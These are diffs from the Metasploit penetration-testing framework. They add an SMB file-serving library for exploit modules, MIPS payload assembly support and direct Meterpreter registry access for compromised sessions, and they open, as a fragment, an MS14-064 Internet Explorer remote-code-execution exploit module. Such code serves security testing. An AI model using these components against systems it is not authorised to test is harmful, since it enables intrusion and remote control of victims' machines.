original_length = full_pkt[2, 2].unpack('n')[0]
original_length = original_length + andx_command.to_s.length
full_pkt[2, 2] = [original_length].pack('n')
else
full_pkt = pkt.to_s
end
c.put(full_pkt)
end
end
end
end
end
end

View File

@ -0,0 +1,100 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
# server-side file system handling.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2(c, buff)
smb = @state[c]
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
data_trans2.from_s(pkt['Payload'].v['SetupData'])
sub_command = data_trans2.v['SubCommand']
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
case sub_command
when CONST::TRANS2_QUERY_FILE_INFO
return smb_cmd_trans2_query_file_information(c, parameters)
when CONST::TRANS2_QUERY_PATH_INFO
return smb_cmd_trans2_query_path_information(c, parameters)
when CONST::TRANS2_FIND_FIRST2
return smb_cmd_trans2_find_first2(c, parameters)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
end
end
# Builds and sends an SMB_COM_TRANSACTION2 response.
#
# @param c [Socket] The client to answer.
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_trans2_res(c, parameters, data)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
pkt['Payload'].v['DataCount'] = data.to_s.length
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
pkt['Payload'].v['Payload'] =
parameters.to_s +
data.to_s
c.put(pkt.to_s)
end
# Converts the path to ascii from unicode and normalizes.
#
# @param path [String] The path to normalize.
# @return [String] The normalized path.
def normalize_path(path)
normalized = Rex::Text.to_ascii(path).downcase
normalized.gsub!(/[\x00]*/, '') #delete padding
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
normalized
end
# Expands a path with wildcards, and returns the set of matching files.
#
# @param path [String] the path to expand
# @return [String] The matching file.
# @todo It's a shortcut atm, make complete wildcard handling.
# @todo return an Array of matching files.
def smb_expand(path)
search_path = path.gsub(/<\./, '*.') # manage wildcards
extension = File.extname(file_name)
if search_path == "#{path_name}*#{extension}"
search_path = "#{path_name}#{file_name}"
end
search_path
end
end
end
end
end
end

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module FindFirst2
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
# directory or for a directory.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_find_first2(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
normalized_path = normalize_path(params.v['FileName'])
search_path = smb_expand(normalized_path)
case loi
when CONST::SMB_FIND_FILE_NAMES_INFO
return smb_cmd_find_file_names_info(c, search_path)
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
return smb_cmd_find_file_both_directory_info(c, search_path)
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
return smb_cmd_find_file_full_directory_info(c, search_path)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,42 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
#@todo Check FID and no shortcut assuming the request always come for the valid FID
module QueryFileInformation
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
# an specific file or directory, using its FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_file_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
fid = params.v['FID']
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_file_info_standard(c, fid)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_file_info_basic(c, fid)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module QueryPathInformation
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
# an specific file or directory, using its path.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_path_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
file_name = normalize_path(params.v['FileName'])
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_path_info_standard(c, file_name)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_path_info_basic(c, file_name)
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
return smb_cmd_trans_query_path_info_network(c, file_name)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
require 'msf/core/exploit/smb/server/share/information_level/find'
require 'msf/core/exploit/smb/server/share/information_level/query'
end
end
end
end

View File

@ -0,0 +1,229 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Find
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_both_directory_info(c, path)
if path && path.include?(file_name)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
search = 1
elsif path && path == path_name
data = Rex::Text.to_unicode(path_name)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_both_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_names_info(c, path)
if path && path.include?(file_name)
data = Rex::Text.to_unicode(file_name)
elsif path && path == path_name
data = Rex::Text.to_unicode(path_name)
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_names_info_res(c, { data: data })
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_full_directory_info(c, path)
if path && path.include?(file_name)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
search = 0x100
elsif path && path == path_name
data = Rex::Text.to_unicode(path_name)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_full_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_both_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
# information level.
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_names_info_res(c, opts = {})
data = opts[:data] || ''
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = 1
trans2_params.v['EndOfSearch'] = 1
trans2_params.v['EaErrorOffset'] = 0
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_full_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
end
end
end
end
end

View File

@ -0,0 +1,216 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Query
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_basic(c, fid)
smb = @state[c]
if fid == smb[:file_id].to_i
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_standard(c, fid)
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: 0,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
# @todo Delete elsif comment if testing proofs it as unnecessary
def smb_cmd_trans_query_path_info_basic(c, path)
if path && path.ends_with?(file_name)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
#elsif path && path.ends_with?(file_name + '.Local')
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_standard(c, path)
if path && path.include?(file_name)
attrib = 0 # File attributes => file
elsif path && path == path_name
attrib = 1 # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = 1 # File attributes => directory
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: attrib,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_network(c, path)
if path && path.include?(file_name)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_network_res(c, {
allocation_size: 1048576,
end_of_file: file_contents.length,
file_attributes: attrib
})
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_basic_res(c, opts = {})
file_attributes = opts[:file_attributes] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :number_links The number of hard links to the file.
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_standard_res(c, opts = {})
allocation_size = opts[:allocation_size] || 0
number_links = opts[:number_links] || 0
delete_pending = opts[:delete_pending] || 0
directory = opts[:directory] || 0
end_of_file = opts[:end_of_file] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['NumberOfLinks'] = number_links
query_path_info.v['DeletePending'] = delete_pending
query_path_info.v['Directory'] = directory
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @option opts [Fixnum] :file_attributes The file attributes.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_network_res(c, opts= {})
allocation_size = opts[:allocation_size] || 0
end_of_file = opts[:end_of_file] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
end
end
end
end
end

View File

@ -552,6 +552,8 @@ protected
when ARCH_X64 then Metasm::X86_64.new
when ARCH_PPC then Metasm::PowerPC.new
when ARCH_ARMLE then Metasm::ARM.new
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
else
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
elog("Call stack:\n#{caller.join("\n")}")

View File

@ -439,12 +439,10 @@ protected
subkeys = []
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
keys = open_key.enum_key
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
keys.each { |subkey|
subkeys << subkey
}
open_key.close
return subkeys
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -460,12 +458,10 @@ protected
vals = {}
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
vals = open_key.enum_value
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
vals.each { |val|
values << val.name
}
open_key.close
return values
rescue Rex::Post::Meterpreter::RequestError => e
return nil
@ -480,10 +476,8 @@ protected
value = nil
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_READ, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
v = open_key.query_value(valname)
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
return nil
end
@ -516,9 +510,8 @@ protected
begin
root_key, base_key = session.sys.registry.splitkey(key)
perms = meterpreter_registry_perms(KEY_WRITE, view)
open_key = session.sys.registry.open_key(root_key, base_key, perms)
open_key.set_value(valname, session.sys.registry.type2str(type), data)
open_key.close
session.sys.registry.set_value_direct(root_key, base_key,
valname, session.sys.registry.type2str(type), data, perms)
return true
rescue Rex::Post::Meterpreter::RequestError => e
return nil

View File

@ -89,7 +89,6 @@ class Registry
request.add_tlv(TLV_TYPE_TARGET_HOST, target_host)
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
response = client.send_request(request)
return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new(
@ -166,6 +165,24 @@ class Registry
return keys
end
def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_enum_key_direct')
keys = []
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
response = client.send_request(request)
# Enumerate through all of the registry keys
response.each(TLV_TYPE_KEY_NAME) do |key_name|
keys << key_name.value
end
keys
end
##
#
# Registry value interaction
@ -195,10 +212,55 @@ class Registry
return true
end
def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE)
request = Packet.create_request('stdapi_registry_set_value_direct')
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
request.add_tlv(TLV_TYPE_VALUE_TYPE, type)
if type == REG_SZ
data += "\x00"
elsif type == REG_DWORD
data = [data.to_i].pack('V')
end
request.add_tlv(TLV_TYPE_VALUE_DATA, data)
response = client.send_request(request)
true
end
#
# Queries the registry value supplied in name and returns an
# initialized RegistryValue instance if a match is found.
#
def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_query_value_direct')
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
response = client.send_request(request)
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
if type == REG_SZ
data = data[0..-2]
elsif type == REG_DWORD
data = data.unpack('N')[0]
end
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
client, 0, name, type, data)
end
def Registry.query_value(hkey, name)
request = Packet.create_request('stdapi_registry_query_value')
@ -207,8 +269,8 @@ class Registry
response = client.send_request(request)
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value;
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value;
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
if (type == REG_SZ)
data = data[0..-2]
@ -272,6 +334,24 @@ class Registry
return values
end
def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ)
request = Packet.create_request('stdapi_registry_enum_value_direct')
values = []
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
request.add_tlv(TLV_TYPE_PERMISSION, perm)
response = client.send_request(request)
response.each(TLV_TYPE_VALUE_NAME) do |value_name|
values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
client, 0, value_name.value)
end
values
end
#
# Return the key value associated with the supplied string. This is useful
# for converting HKLM as a string into its actual integer representation.

File diff suppressed because it is too large Load Diff

View File

@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
'Description' => %q{
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
